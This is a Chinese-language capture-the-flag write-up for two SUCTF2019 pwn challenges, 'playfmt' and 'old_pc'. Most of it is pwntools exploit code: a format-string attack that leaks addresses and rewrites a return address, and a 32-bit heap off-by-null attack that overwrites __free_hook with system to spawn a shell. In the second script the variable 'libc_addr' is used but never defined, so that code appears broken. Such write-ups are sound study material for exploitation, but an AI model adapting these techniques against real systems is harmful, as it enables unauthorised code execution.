SUCTF2019
playfmt
格式化不在栈上,读取flag,总的来说就是一个格式化的题
EXP
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level="debug"
exec_binary = 'playfmt'
r=process('./'+exec_binary)
elf=ELF(exec_binary)
def leak(addr):
payload=addr
# payload+="%7$s"
r.sendline(payload)
data=r.recv(8)[4:8]
return data
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
log.success("libcbase ====> "+hex(libcbase))
def get(target,printed):
if printed>target:
return (256-printed+target)
elif printed==target:
return 0
else:
return target-printed
def modify(target,offset,old):
t1=target&0xff
t2=target>>8&0xff
t3=target>>16&0xff
t4=target>>24&0xff
payload=p32(old)+p32(old+1)+p32(old+2)+p32(old+3)
len1=get(t1,len(payload))
len2=get(t2,(len1)+16)
len3=get(t3,(len2+len1)+16)
len4=get(t4,(len3+len2+len1)+16)
payload+='%'+str(len1)+'c'+'%'+str(offset)+'$hhn'
payload+='%'+str(len2)+'c'+'%'+str(offset+1)+'$hhn'
payload+='%'+str(len3)+'c'+'%'+str(offset+2)+'$hhn'
payload+='%'+str(len4)+'c'+'%'+str(offset+3)+'$hhn'
return payload
buf_addr = 0x804B040
payload = "%6$p"
leak(payload)
r.recvuntil("=====================\n")
r.recvuntil("=====================\n")
stack_ret_addr = int(r.recvuntil("\n",drop=True),16) - 0x1c + 0x2c
payload = "%18$p"
r.sendline(payload)
heap_base = int(r.recvuntil("\n",drop=True),16) - 0x20
print "heap_base ====> " + hex(heap_base)
print "stack_ret_addr ====> " + hex(stack_ret_addr)
payload = "%" + str(stack_ret_addr&0xff) +"c" + "%6$hhn"
r.sendline(payload)
payload = "%" + str(heap_base&0xffff) +"c" + "%14$hn"
r.sendline(payload)
payload = "%18$s"
r.sendline(payload)
r.interactive()
old_pc
[*] '/home/root0/pratice/ctf-writeups/suctf2019/pwn/old_pc/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
32位的堆题,保护全开
漏洞点
off-by-null
char *__cdecl get_name(size_t size)
{
char *malloc_ptr; // ST10_4
char *result; // eax
char v3[16]; // [esp+4h] [ebp-14h]
*(_DWORD *)&v3[8] = __readgsdword(0x14u);
if ( size > 0x1FF )
size = 0x200;
malloc_ptr = (char *)malloc(size);
strcpy(v3, "%");
sprintf(&v3[1], (const char *)&unk_14E0, size);
__isoc99_scanf(v3, malloc_ptr);
result = malloc_ptr;
if ( __readgsdword(0x14u) != *(_DWORD *)&v3[8] )
end();
return result;
}
知识点
scanf存在null截断,在scanf(“%s”,ptr)时在末尾加上null。
EXP
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./pwn"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
success(libcbase + " ===> " + hex(libcbase))
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def Purchase(size,content,Price):
r.sendlineafter(">>> ","1")
r.sendlineafter("length: ",str(size))
r.sendafter("Name: ",content)
r.sendlineafter("Price: ",str(Price))
def Comment(idx,content,score):
r.sendlineafter(">>> ","2")
r.sendlineafter("Index: ",str(idx))
r.sendafter(": ",content)
r.sendlineafter("score: ",str(score))
def throw(idx):
r.sendlineafter(">>> ","3")
r.sendlineafter("index: ",str(idx))
def Rename(content):
r.sendlineafter(">>> ","4")
r.send(content)
Purchase(0x8c,"a"+"\n",1) #0
Purchase(0x8c,"b"+"\n",1) #0
#Purchase(20,"A"*18+"\n",1) #2
Comment(0,"a",2)
Comment(1,"a",2)
throw(0)
throw(1)
Purchase(1,"A",1) #1
Comment(0,"\x40",2)
throw(0)
r.recvuntil(" ")
libcbase = u32(r.recv(4)) - 0x1b2840
main_arena_addr = libcbase + libc.symbols["__malloc_hook"] + 0x18
confirm(libcbase)
Purchase(0xf4, 'c\n',1)
Purchase(0x74, 'd\n',1)
Purchase(0xfc, 'e\n',1)
throw(0)
Purchase(0xfc, 'e\n',1)
throw(0)
Purchase(0xfc, 'f\n',1)
throw(2)
Purchase(0xfc, '\0' * 0xf8 + p32(0x1c8),1)
Purchase(0x104, '/bin/sh\0\n',1)
Purchase(0x104, '/bin/sh\0\n',1)
Purchase(0x104, '/bin/sh\0\n',1)
# pause()
throw(4)
throw(0)
Purchase(0x9c, 'g\n',1)
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(main_arena_addr + 8) + '\n',1) #
# Comment(2, 'b')
r.sendlineafter('>>> ', '2')
r.sendlineafter('Index: ', str(2))
r.recvuntil('Comment on ')
result = r.recvn(4)
heap_addr = u32(result) - 0x30
r.sendafter(' : ', 'b')
r.sendlineafter('And its score: ', str(1))
throw(4)
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(heap_addr + 8) + '\n',1) #
throw(2)
#Purchase(0x10,"A"*4+"\n",1) #0
r.sendlineafter('>>> ', '1')
r.sendlineafter('Name length: ', str(0x2c))
r.sendafter('Name: ', p32(libc_addr + libc.symbols['__free_hook'] - 12) + p32(libc_addr + libc.symbols['__free_hook'] + 0x10) + p32(libc_addr + libc.symbols['__free_hook']) + '\n')
r.sendlineafter('Price: ', str(0x21))
r.sendlineafter('>>> ', '2')
r.sendlineafter('Index: ', str(1))
r.sendafter(' : ', '\n')
r.sendlineafter('And its score: ', str(0x21))
throw(2)
Purchase(0x1c, p32(libc_addr + libc.symbols['system']) + '\n',1)
throw(5)
r.interactive()